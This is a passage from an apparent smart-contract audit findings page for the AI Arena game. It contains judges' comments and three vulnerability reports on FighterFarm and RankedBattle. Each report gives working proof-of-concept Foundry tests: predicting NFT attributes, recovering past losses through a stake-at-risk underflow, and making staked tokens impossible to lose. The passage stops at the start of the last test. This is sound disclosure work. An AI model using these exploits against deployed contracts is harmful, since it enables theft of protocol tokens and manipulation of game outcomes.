Not a dup: RNG can be as robust, but this allows re-rolling as many times until the desired attributes are attained.

#6 - c4-judge

2024-03-14T14:44:50Z

HickupHH3 marked the issue as selected for report

#7 - c4-judge

2024-03-14T14:44:56Z

HickupHH3 marked the issue as primary issue

#8 - c4-judge

2024-03-16T10:37:54Z

HickupHH3 changed the severity to 2 (Med Risk)

#9 - McCoady

2024-03-19T14:21:04Z

The underlying root cause of this issue remains the same as #1017 and suggests the same mitigation to fix it.

It's true that this issue and it's duplicates provide a clearer proof of concept on how this can directly be exploited but the majority of reports under the #1017 duplicate also outline the same impact & recommended mitigation (using Chainlink VRF).

I think the majority of wardens understand that it is not a lack of entropy problem and that any mitigation that uses same block on-chain randomness would be vulnerable, hence why the recommended mitigations in most of the reports suggest using Chainlink VRF rather than adding extra pseudorandom entropy to the hash.

It may be fairer to reward the issues that showed the clearer PoC full credit and the issues under #1017 be given partials, but IMO they don't warrant being two separate issues.

#10 - klau5dev

2024-03-19T20:34:12Z

I don't think the root cause is the same. The root cause of this vulnerability is that regardless of whether the attribute is pseudo-random or random, if you don't like the result, you can revert the transaction to cancel the minting.

Chainlink VRF is recommended for implementing random functionality because it is known to be best practice, and because it is more decentralized way, better fit for web3 projects. However, even if VRF is used and resolves pseudo-random, incorrectly integrating VRF can lead to the same vulnerability as this issue. Even when randomness is guaranteed by VRF, problems can still occur, so the root cause is different.

In other words, recommending the use of VRF does not mean that it is a duplicate vulnerability. To be considered duplicate, it should be pointed out that even with VRF, they must first mint the NFT to force the user's hook to not be called after setting attributes. More precisely, it should point out that control should not go to the user in the transaction that sets the attribute.

#11 - McCoady

2024-03-19T22:00:25Z

Just to be clear, using Chainlink VRF does not return the random words within the same transaction the randomness is requested in (see requestConfirmations here), so the user would not know their result in time to choose to revert or not.

#12 - klau5dev

2024-03-19T23:50:04Z

If it mints NFT at fulfillRandomWords, it also call receive hook and user can revert it. But this implementation can cause DoS so it is not best practice of VRF. Best practice is just save random number at fulfillRandomWords and user calls the function which consume random value, or just set attributes(not mint NFT) at fulfillRandomWords.

If NFT is minted at that consume function, or user calls consume function by their attack contract then user still can revert it. Whether attributes are still manipulatable or not depends on the implementation(How to consume the random value? If the user reverts and try it later again, can attribute be changed?). If developer use VRF without these concerns, the same issue would occur even with random value.

Finally, VRF is not the only way to get randomness. For simple example, admin can just give random value generated at server with signature. But revert issue still remains. VRF can remove multiple problems, but I think that doesn't mean the root cause of multiple issues are same.

#13 - McCoady

2024-03-19T23:59:59Z

I think anyone would suggest fulfillRandomWords should not do anything other than provide the random values for the already minted NFT, and you even agree "it is not best practice of VRF". So it seems in bad faith to be arguing about an issue based on the protocol teams hypothetical incorrect mitigation of the issue.

I'll leave it up to the judge's decision from here as I think we've both added sufficient context for either side of the issue.

#14 - c4-judge

2024-03-20T00:28:49Z

HickupHH3 marked the issue as duplicate of #1017

#15 - klau5dev

2024-03-20T00:31:21Z

Some teams don't choose VRF because it costs LINK or their business reason. The reason I used chainlink as an explanation is to show difference root cause with #1017

I think same impact and same mitigation does not mean same root cause. If the bug is one line and mitigation is same, then it can be same root cause, but applying VRF is huge change. Huge change can remove many problems, but it does not mean that all problems has same root cause. I think 'Not using VRF' cannot be root cause.

This is final statement of mine, thank you for share your opinion.

#16 - HickupHH3

2024-03-20T01:02:00Z

Agree with this as the root cause (from the original report)

t’s not about lack of randomless problem, this is about setting attributes at same transaction when minting NFT. Even if you use chainlink, the same bug can happen if you set the attribute and mint NFTs in the same transaction.

FWIW, the fixes reduce the pseduorandomness further, making the attributes more deterministic, but non-manipulatable in the sense that the attributes stays constant till someone actually mints the NFT. https://github.com/code-423n4/2024-02-ai-arena-findings/issues/1017#issuecomment-2004646057

#17 - c4-judge

2024-03-20T01:03:39Z

HickupHH3 marked the issue as not a duplicate

#18 - c4-judge

2024-03-20T01:03:45Z

HickupHH3 marked the issue as primary issue

#19 - SonnyCastro

2024-03-25T14:53:01Z

Mitigated here

#20 - c4-sponsor

2024-03-25T14:53:35Z

brandinho (sponsor) confirmed

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L324 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L214 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L379

Vulnerability details

Impact

Allows users to mint NFTs with the desired attribute values or change the attribute values to the desired one.

Proof of Concept

The DNA used to create NFT attributes is not a random value, but a predictable one. All attributes are calculated pseudo-randomly, so users can calculate the attributes they can get.

Users can know the conditions to mint the desired NFT. The result of the reroll is also predictable. Users can get the desired result by transferring the NFT to their other account and reroll with that account.

function mintFromMergingPool(
    address to, 
    string calldata modelHash, 
    string calldata modelType, 
    uint256[2] calldata customAttributes
) 
    public 
{
    require(msg.sender == _mergingPoolAddress);
    _createNewFighter(
        to, 
@>      uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
        modelHash, 
        modelType,
        0,
        0,
        customAttributes
    );
}

function claimFighters(
    uint8[2] calldata numToMint,
    bytes calldata signature,
    string[] calldata modelHashes,
    string[] calldata modelTypes
) 
    external 
{
    bytes32 msgHash = bytes32(keccak256(abi.encode(
        msg.sender, 
        numToMint[0], 
        numToMint[1],
        nftsClaimed[msg.sender][0],
        nftsClaimed[msg.sender][1]
    )));
    require(Verification.verify(msgHash, signature, _delegatedAddress));
    uint16 totalToMint = uint16(numToMint[0] + numToMint[1]);
    require(modelHashes.length == totalToMint && modelTypes.length == totalToMint);
    nftsClaimed[msg.sender][0] += numToMint[0];
    nftsClaimed[msg.sender][1] += numToMint[1];
    for (uint16 i = 0; i < totalToMint; i++) {
        _createNewFighter(
            msg.sender, 
@>          uint256(keccak256(abi.encode(msg.sender, fighters.length))),
            modelHashes[i], 
            modelTypes[i],
            i < numToMint[0] ? 0 : 1,
            0,
            [uint256(100), uint256(100)]
        );
    }
}

function reRoll(uint8 tokenId, uint8 fighterType) public {
    require(msg.sender == ownerOf(tokenId));
    require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
    require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

    _neuronInstance.approveSpender(msg.sender, rerollCost);
    bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
    if (success) {
        numRerolls[tokenId] += 1;
@>      uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
        (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
        fighters[tokenId].element = element;
        fighters[tokenId].weight = weight;
        fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
            newDna,
            generation[fighterType],
            fighters[tokenId].iconsType,
            fighters[tokenId].dendroidBool
        );
        _tokenURIs[tokenId] = "";
    }
}

This is PoC. Add this to the FighterFarm.t.sol file and run it. First, it shows predicting attributes and minting a token with the desired attributes. Then it shows being able to get the desired result with reroll by predicting reroll results.

function testPoCAttributePredictable() public {

    // --- Predict minting results to pick out the desired attributes ---
    uint8[2] memory numToMint = [1, 0];
    bytes memory claimSignature = abi.encodePacked(
        hex"407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c"
    );
    string[] memory claimModelHashes = new string[](1);
    claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    string[] memory claimModelTypes = new string[](1);
    claimModelTypes[0] = "original";

    // predict attribute
    uint256 calculatedWeight;
    for(uint160 i = 100; ; i++){
        // can predict DNA and attributes
        uint256 dna = uint256(keccak256(abi.encode(_ownerAddress, _fighterFarmContract.totalSupply())));
        calculatedWeight = dna % 31 + 65;

        // user wants this specific attribute. wait to 
        if(calculatedWeight == 95){
            vm.prank(_ownerAddress);
            _fighterFarmContract.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes);
            break;
        }

        // other user mints NFT, the fighters.length changes and DNA would be changed
        _mintFromMergingPool(address(i)); // random user claim their NFT
    }

    // Right sender of signature should be able to claim fighter        
    assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);
    uint256 tokenId = _fighterFarmContract.tokenOfOwnerByIndex(_ownerAddress, 0);
    (,,uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);
    assertEq(weight, 95);
    

    // --- Predict reroll results to pick the desired attribute ---
    _neuronContract.addSpender(address(_fighterFarmContract));

    for(uint160 i = 1000; ; i++){
        address user_owned_account = address(i);
        uint256 dna = uint256(keccak256(abi.encode(user_owned_account, uint8(tokenId), _fighterFarmContract.numRerolls(tokenId) + 1)));
        calculatedWeight = dna % 31 + 65;

        // user want to get light one
        if(calculatedWeight < 70){
            vm.prank(_ownerAddress);
            _fighterFarmContract.transferFrom(_ownerAddress, user_owned_account, tokenId);

            _fundUserWith4kNeuronByTreasury(user_owned_account);

            vm.prank(user_owned_account);                
            _fighterFarmContract.reRoll(uint8(tokenId), 0);
            break;
        }
    }

    assertEq(_fighterFarmContract.numRerolls(tokenId), 1);
    (,,uint256 weightRerolled,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);

    assertLt(weightRerolled, 70);
}

Tools Used

Manual Review

To implement randomness, you should use chainlink or use a random value created off-chain.

Assessed type

Other

#0 - c4-pre-sort

2024-02-24T01:33:28Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-24T01:33:36Z

raymondfam marked the issue as duplicate of #53

#2 - c4-judge

2024-03-06T03:48:50Z

HickupHH3 marked the issue as satisfactory

#3 - c4-judge

2024-03-06T03:49:26Z

HickupHH3 changed the severity to 3 (High Risk)

#4 - c4-judge

2024-03-20T01:04:20Z

HickupHH3 marked the issue as duplicate of #376

Awards

1.3115 USDC - $1.31

Labels

bug
2 (Med Risk)
downgraded by judge
primary issue
satisfactory
selected for report
sponsor confirmed
:robot:_13_group
M-06

External Links

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L285-L286 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L495-L496

Vulnerability details

Impact

Cannot record a user's victory on-chain, and it may be possible to recover past losses(which should impossible).

Proof of Concept

If you lose in a game, _addResultPoints is called, and the staked tokens move to the StakeAtRisk.

function _addResultPoints(
    uint8 battleResult, 
    uint256 tokenId, 
    uint256 eloFactor, 
    uint256 mergingPortion,
    address fighterOwner
) 
    private 
{
    uint256 stakeAtRisk;
    uint256 curStakeAtRisk;
    uint256 points = 0;

    /// Check how many NRNs the fighter has at risk
    stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);
    ...

    /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
@>  curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
    if (battleResult == 0) {
        /// If the user won the match
        ...
    } else if (battleResult == 2) {
        /// If the user lost the match

        /// Do not allow users to lose more NRNs than they have in their staking pool
        if (curStakeAtRisk > amountStaked[tokenId]) {
@>          curStakeAtRisk = amountStaked[tokenId];
        }
        if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
            ...
        } else {
            /// If the fighter does not have any points for this round, NRNs become at risk of being lost
@>          bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
            if (success) {
@>              _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
@>              amountStaked[tokenId] -= curStakeAtRisk;
            }
        }
    }
}

If a Fighter NFT has NRN tokens staked, that Fighter NFT is locked and cannot be transfered. When the tokens are unstaked and the remaining amountStaked[tokenId] becomes 0, the Fighter NFT is unlocked and it can be transfered. However, it does not check whether there are still tokens in the StakeAtRisk of the Fighter NFT.

function unstakeNRN(uint256 amount, uint256 tokenId) external {
    require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
    if (amount > amountStaked[tokenId]) {
@>      amount = amountStaked[tokenId];
    }
    amountStaked[tokenId] -= amount;
    globalStakedAmount -= amount;
    stakingFactor[tokenId] = _getStakingFactor(
        tokenId, 
        _stakeAtRiskInstance.getStakeAtRisk(tokenId)
    );
    _calculatedStakingFactor[tokenId][roundId] = true;
    hasUnstaked[tokenId][roundId] = true;
    bool success = _neuronInstance.transfer(msg.sender, amount);
    if (success) {
        if (amountStaked[tokenId] == 0) {
@>          _fighterFarmInstance.updateFighterStaking(tokenId, false);
        }
        emit Unstaked(msg.sender, amount);
    }
}

Unstaked Fighter NFTs can now be traded on the secondary market. Suppose another user buys this Fighter NFT with remaining StakeAtRisk.

Normally, if you win a game, you can call reclaimNRN to get the tokens back from StakeAtRisk.

function _addResultPoints(
    uint8 battleResult, 
    uint256 tokenId, 
    uint256 eloFactor, 
    uint256 mergingPortion,
    address fighterOwner
) 
    private 
{
    uint256 stakeAtRisk;
    uint256 curStakeAtRisk;
    uint256 points = 0;

    /// Check how many NRNs the fighter has at risk
@>  stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);

    ...
    /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
@>  curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
    if (battleResult == 0) {
        /// If the user won the match
        ...

        /// Do not allow users to reclaim more NRNs than they have at risk
        if (curStakeAtRisk > stakeAtRisk) {
@>          curStakeAtRisk = stakeAtRisk;
        }

        /// If the user has stake-at-risk for their fighter, reclaim a portion
        /// Reclaiming stake-at-risk puts the NRN back into their staking pool
@>      if (curStakeAtRisk > 0) {
@>          _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
            amountStaked[tokenId] += curStakeAtRisk;
        }
        ...
    } else if (battleResult == 2) {
        ...
    }
}

However, if a new user becomes the owner of the Fighter NFT, it does not work as intended.

The _addResultPoints might revert due to the underflow at reclaimNRN's amountLost[fighterOwner] -= nrnToReclaim. Therefore, the new owner cannot record a victory on-chain with the purchased NFT until the end of this round.

function getStakeAtRisk(uint256 fighterId) external view returns(uint256) {
@>  return stakeAtRisk[roundId][fighterId];
}

function reclaimNRN(uint256 nrnToReclaim, uint256 fighterId, address fighterOwner) external {
    require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract");
    require(
        stakeAtRisk[roundId][fighterId] >= nrnToReclaim, 
        "Fighter does not have enough stake at risk"
    );

    bool success = _neuronInstance.transfer(_rankedBattleAddress, nrnToReclaim);
    if (success) {
        stakeAtRisk[roundId][fighterId] -= nrnToReclaim;
        totalStakeAtRisk[roundId] -= nrnToReclaim;
@>      amountLost[fighterOwner] -= nrnToReclaim;
        emit ReclaimedStake(fighterId, nrnToReclaim);
    }
}

Even if the new owner already has another NFT and has a sufficient amount of amountLost[fighterOwner], there is a problem.

  • Alice buy the NFT2(tokenId 2) from the secondary market, which has 30 stakeAtRisk.
    • stakeAtRisk of NFT2: 30
    • amountLost: 0
  • Alice also owns the NFT1(tokenId 1) and has 100 stakeAtRisk in the same round.
    • stakeAtRisk of NFT1: 100
    • stakeAtRisk of NFT2: 30
    • amountLost: 100
  • Alice wins with the NFT2 and reclaims 30 stakeAtRisk.
    • stakeAtRisk of NFT1: 100
    • stakeAtRisk of NFT2: 0
    • amountLost: 70
  • If Alice tries to reclaim stakeAtRisk of NFT1, an underflow occurs and it reverts when remaining stakeAtRisk is 30.
    • stakeAtRisk of NFT1: 30
    • stakeAtRisk of NFT2: 0
    • amountLost: 0
  • Alice will no longer be able to record a win for NFT1 due to underflow.

There is a problem even if the user owns a sufficient amount of amountLost[fighterOwner] and does not have stakeAtRisk of another NFT in the current round. In this case, the user can steal the protocol's token.

  • Alice owns NFT1 and had 100 stakeAtRisk with NFT1 at past round.
    • Since the round has already passed, this loss of 100 NRN is a past loss that can no longer be recovered.
    • Since amountLost[fighterOwner] is a total amount regardless of rounds, it remains 100 even after the round.
    • stakeAtRisk of NFT1: 0 (current round)
    • amountLost: 100 (this should be unrecoverable)
  • Alice buys NFT 2 from the secondary market, which has 100 stakeAtRisk.
    • stakeAtRisk of NFT1: 0
    • stakeAtRisk of NFT2: 100
    • amountLost: 100
  • Alice wins with NFT 2 and reclaims 100.
    • stakeAtRisk of NFT1: 0
    • stakeAtRisk of NFT2: 0
    • amountLost: 0
  • Alice recovers the past loss through NFT 2. Alice recovered past lost, which shouldn't be recovered, which means she steals the protocol's token.

This is PoC. You can add it to StakeAtRisk.t.sol and run it.

  • testPoC1 shows that a user with amountLost 0 cannot record a victory with the purchased NFT due to underflow.
  • testPoC2 shows that a user who already has stakeAtRisk due to another NFT in the same round can no longer record a win due to underflow.
  • testPoC3 shows that a user can recover losses from a past round by using a purchased NFT.
function testPoC1() public {
    address seller = vm.addr(3);
    address buyer = vm.addr(4);
    
    uint256 stakeAmount = 3_000 * 10 ** 18;
    uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000;
    _mintFromMergingPool(seller);
    uint256 tokenId = 0;
    assertEq(_fighterFarmContract.ownerOf(tokenId), seller);
    _fundUserWith4kNeuronByTreasury(seller);
    vm.prank(seller);
    _rankedBattleContract.stakeNRN(stakeAmount, tokenId);
    assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount);
    vm.prank(address(_GAME_SERVER_ADDRESS));
    // loses battle
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
    assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), expectedStakeAtRiskAmount);

    // seller unstake and sell NFT to buyer
    vm.startPrank(seller);
    _rankedBattleContract.unstakeNRN(_rankedBattleContract.amountStaked(tokenId), tokenId);
    _fighterFarmContract.transferFrom(seller, buyer, tokenId);
    vm.stopPrank();

    // The buyer win battle but cannot write at onchain
    vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow)
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true);

}

function testPoC2() public {
    address seller = vm.addr(3);
    address buyer = vm.addr(4);
    
    uint256 stakeAmount = 3_000 * 10 ** 18;
    uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000;
    _mintFromMergingPool(seller);
    uint256 tokenId = 0;
    assertEq(_fighterFarmContract.ownerOf(tokenId), seller);
    _fundUserWith4kNeuronByTreasury(seller);
    vm.prank(seller);
    _rankedBattleContract.stakeNRN(stakeAmount, tokenId);
    assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount);
    vm.prank(address(_GAME_SERVER_ADDRESS));
    // loses battle
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
    assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), expectedStakeAtRiskAmount);

    // seller unstake and sell NFT to buyer
    vm.startPrank(seller);
    _rankedBattleContract.unstakeNRN(_rankedBattleContract.amountStaked(tokenId), tokenId);
    _fighterFarmContract.transferFrom(seller, buyer, tokenId);
    vm.stopPrank();

    // The buyer have new NFT and loses with it
    uint256 stakeAmount_buyer = 3_500 * 10 ** 18;
    uint256 expectedStakeAtRiskAmount_buyer = (stakeAmount_buyer * 100) / 100000;

    _mintFromMergingPool(buyer);
    uint256 tokenId_buyer = 1;
    assertEq(_fighterFarmContract.ownerOf(tokenId_buyer), buyer);

    _fundUserWith4kNeuronByTreasury(buyer);
    vm.prank(buyer);
    _rankedBattleContract.stakeNRN(stakeAmount_buyer, tokenId_buyer);
    assertEq(_rankedBattleContract.amountStaked(tokenId_buyer), stakeAmount_buyer);

    // buyer loses with tokenId_buyer
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 2, 1500, true);
    
    assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount_buyer);
    assertGt(expectedStakeAtRiskAmount_buyer, expectedStakeAtRiskAmount, "buyer has more StakeAtRisk");

    // buyer win with bought NFT (tokenId 0)
    vm.startPrank(address(_GAME_SERVER_ADDRESS));
    for(uint256 i = 0; i < 1000; i++){
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false);
    }
    vm.stopPrank();

    assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), 0); // Reclaimed all stakeAtRisk of bought NFT(token 0)
    assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount_buyer); // tokenId_buyer stakeAtRisk remains
    assertEq(_stakeAtRiskContract.amountLost(buyer), expectedStakeAtRiskAmount_buyer - expectedStakeAtRiskAmount, "remain StakeAtRisk");

    // the remain StakeAtRisk cannot be reclaimed even if buyer win with tokenId_buyer(token 1)
    // and the win result of token 1 cannot be saved at onchain
    vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow)
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 0, 1500, false);
}

function testPoC3() public {
    address seller = vm.addr(3);
    address buyer = vm.addr(4);
    
    uint256 stakeAmount = 3_000 * 10 ** 18;
    uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000;

    // The buyer have new NFT and loses with it
    uint256 stakeAmount_buyer = 300 * 10 ** 18;
    uint256 expectedStakeAtRiskAmount_buyer = (stakeAmount_buyer * 100) / 100000;

    _mintFromMergingPool(buyer);
    uint256 tokenId_buyer = 0;
    assertEq(_fighterFarmContract.ownerOf(tokenId_buyer), buyer);

    _fundUserWith4kNeuronByTreasury(buyer);
    vm.prank(buyer);
    _rankedBattleContract.stakeNRN(stakeAmount_buyer, tokenId_buyer);
    assertEq(_rankedBattleContract.amountStaked(tokenId_buyer), stakeAmount_buyer);

    // buyer loses with tokenId_buyer
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 2, 1500, true);

    assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount_buyer);
    assertGt(expectedStakeAtRiskAmount, expectedStakeAtRiskAmount_buyer, "seller's token has more StakeAtRisk");

    // round 0 passed
    // tokenId_buyer's round 0 StakeAtRisk is reset
    vm.prank(address(_rankedBattleContract));
    _stakeAtRiskContract.setNewRound(1);
    assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId_buyer), 0);

    // seller mint token, lose battle and sell the NFT
    _mintFromMergingPool(seller);
    uint256 tokenId = 1;
    assertEq(_fighterFarmContract.ownerOf(tokenId), seller);
    _fundUserWith4kNeuronByTreasury(seller);
    vm.prank(seller);
    _rankedBattleContract.stakeNRN(stakeAmount, tokenId);
    assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount);
    vm.prank(address(_GAME_SERVER_ADDRESS));
    // loses battle
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
    assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId), expectedStakeAtRiskAmount);

    // seller unstake and sell NFT to buyer
    vm.startPrank(seller);
    _rankedBattleContract.unstakeNRN(_rankedBattleContract.amountStaked(tokenId), tokenId);
    _fighterFarmContract.transferFrom(seller, buyer, tokenId);
    vm.stopPrank();

    
    // buyer win with bought NFT (tokenId 0)
    vm.startPrank(address(_GAME_SERVER_ADDRESS));
    for(uint256 i = 0; i < 100; i++){
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false);
    }
    vm.stopPrank();

    assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId), expectedStakeAtRiskAmount - expectedStakeAtRiskAmount_buyer); // Reclaimed all stakeAtRisk of bought NFT(token 1)
    assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId_buyer), 0);
    assertEq(_stakeAtRiskContract.amountLost(buyer), 0, "reclaimed old lost");

    // and the win result of token 1 cannot be saved at onchain anymore
    vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow)
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false);

}

Tools Used

Manual Review

Tokens with a remaining StakeAtRisk should not be allowed to be exchanged.

function unstakeNRN(uint256 amount, uint256 tokenId) external {
    require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
    if (amount > amountStaked[tokenId]) {
        amount = amountStaked[tokenId];
    }
    amountStaked[tokenId] -= amount;
    globalStakedAmount -= amount;
    stakingFactor[tokenId] = _getStakingFactor(
        tokenId, 
        _stakeAtRiskInstance.getStakeAtRisk(tokenId)
    );
    _calculatedStakingFactor[tokenId][roundId] = true;
    hasUnstaked[tokenId][roundId] = true;
    bool success = _neuronInstance.transfer(msg.sender, amount);
    if (success) {
-       if (amountStaked[tokenId] == 0) {
+       if (amountStaked[tokenId] == 0 && _stakeAtRiskInstance.getStakeAtRisk(tokenId) == 0) {
            _fighterFarmInstance.updateFighterStaking(tokenId, false);
        }
        emit Unstaked(msg.sender, amount);
    }
}

Assessed type

Invalid Validation

#0 - c4-pre-sort

2024-02-24T04:15:46Z

raymondfam marked the issue as duplicate of #1641

#1 - c4-judge

2024-03-12T03:34:04Z

HickupHH3 changed the severity to 2 (Med Risk)

#2 - c4-judge

2024-03-12T04:01:25Z

HickupHH3 changed the severity to 3 (High Risk)

#3 - c4-judge

2024-03-12T04:03:31Z

HickupHH3 changed the severity to 2 (Med Risk)

#4 - c4-judge

2024-03-12T06:44:31Z

HickupHH3 marked the issue as satisfactory

#5 - c4-judge

2024-03-14T06:26:02Z

HickupHH3 marked the issue as selected for report

#6 - HickupHH3

2024-03-14T06:27:38Z

#1795 was also a strong contender for best report. I found this one to be a little more succinct in explanation.

Have commented on this vulnerability in the initial primary issue #1641.

#7 - c4-sponsor

2024-03-18T13:52:04Z

brandinho (sponsor) confirmed

#8 - SonnyCastro

2024-03-18T17:52:50Z

Mitigated here

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L486

Vulnerability details

Impact

Can create an NFT that will never lose staking no matter how much it loses for this round.

Proof of Concept

When moving NFTs, it does not check if there are points left for this round on the relevant NFT. accumulatedPointsPerFighter and accumulatedPointsPerAddress are calculated assuming that the same user has made a change in points, so if the NFT moves, it causes an error in the calculation of accumulatedPointsPerFighter and accumulatedPointsPerAddress.

function _addResultPoints(
    uint8 battleResult, 
    uint256 tokenId, 
    uint256 eloFactor, 
    uint256 mergingPortion,
    address fighterOwner
) 
    private 
{
    ...

    /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
    curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
    if (battleResult == 0) {
        /// If the user won the match

        /// If the user has no NRNs at risk, then they can earn points
        if (stakeAtRisk == 0) {
@>          points = stakingFactor[tokenId] * eloFactor;
        }

        /// Divert a portion of the points to the merging pool
        uint256 mergingPoints = (points * mergingPortion) / 100;
@>      points -= mergingPoints;
        _mergingPoolInstance.addPoints(tokenId, mergingPoints);

        ...

        /// Add points to the fighter for this round
@>      accumulatedPointsPerFighter[tokenId][roundId] += points;
@>      accumulatedPointsPerAddress[fighterOwner][roundId] += points;
        totalAccumulatedPoints[roundId] += points;
        if (points > 0) {
            emit PointsChanged(tokenId, points, true);
        }
    } else if (battleResult == 2) {
        /// If the user lost the match

        /// Do not allow users to lose more NRNs than they have in their staking pool
        if (curStakeAtRisk > amountStaked[tokenId]) {
            curStakeAtRisk = amountStaked[tokenId];
        }
       if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
            /// If the fighter has a positive point balance for this round, deduct points 
@>          points = stakingFactor[tokenId] * eloFactor;
            if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
                points = accumulatedPointsPerFighter[tokenId][roundId];
            }
@>          accumulatedPointsPerFighter[tokenId][roundId] -= points;
@>          accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
            totalAccumulatedPoints[roundId] -= points;
            if (points > 0) {
                emit PointsChanged(tokenId, points, false);
            }
        } else {
            ...
        }
    }
}

This error can be used to prevent the loss of points below a certain number, regardless of how much you lose in the game, and thus prevent the loss of staking tokens.

  • Alice has token 1. With this token, she earned 100 points. Alice staked on token 1.
    • accumulatedPointsPerFighter[1][roundId] = 100
    • accumulatedPointsPerAddress[alice][roundId] = 100
  • Alice bought token 2, which has 1 point left in this round.
    • accumulatedPointsPerFighter[1][roundId] = 100
    • accumulatedPointsPerFighter[2][roundId] = 1
    • accumulatedPointsPerAddress[alice][roundId] = 100
  • Alice plays a game with token 2 and loses all points.
    • accumulatedPointsPerFighter[1][roundId] = 100
    • accumulatedPointsPerFighter[2][roundId] = 0
    • accumulatedPointsPerAddress[alice][roundId] = 99
  • Alice plays a game with token 1 and loses 99 points.
    • accumulatedPointsPerFighter[1][roundId] = 1
    • accumulatedPointsPerFighter[2][roundId] = 0
    • accumulatedPointsPerAddress[alice][roundId] = 0
  • Even if Alice loses a game with token 1, an underflow occurs in accumulatedPointsPerAddress[fighterOwner][roundId] -= points; and updateBattleRecord is reverted. Token 1 can no longer lose points.
    • Since you can't lose points, no matter how much you lose, the NRN staked on token 1 is not at risk this round.

This is PoC. Add it to RankedBattle.t.sol and run it. NFTs with remaining points can be moved using the safeTransferFrom(address,address,uint256,bytes) function.

function testPoCNoStakingLossNFT() public {
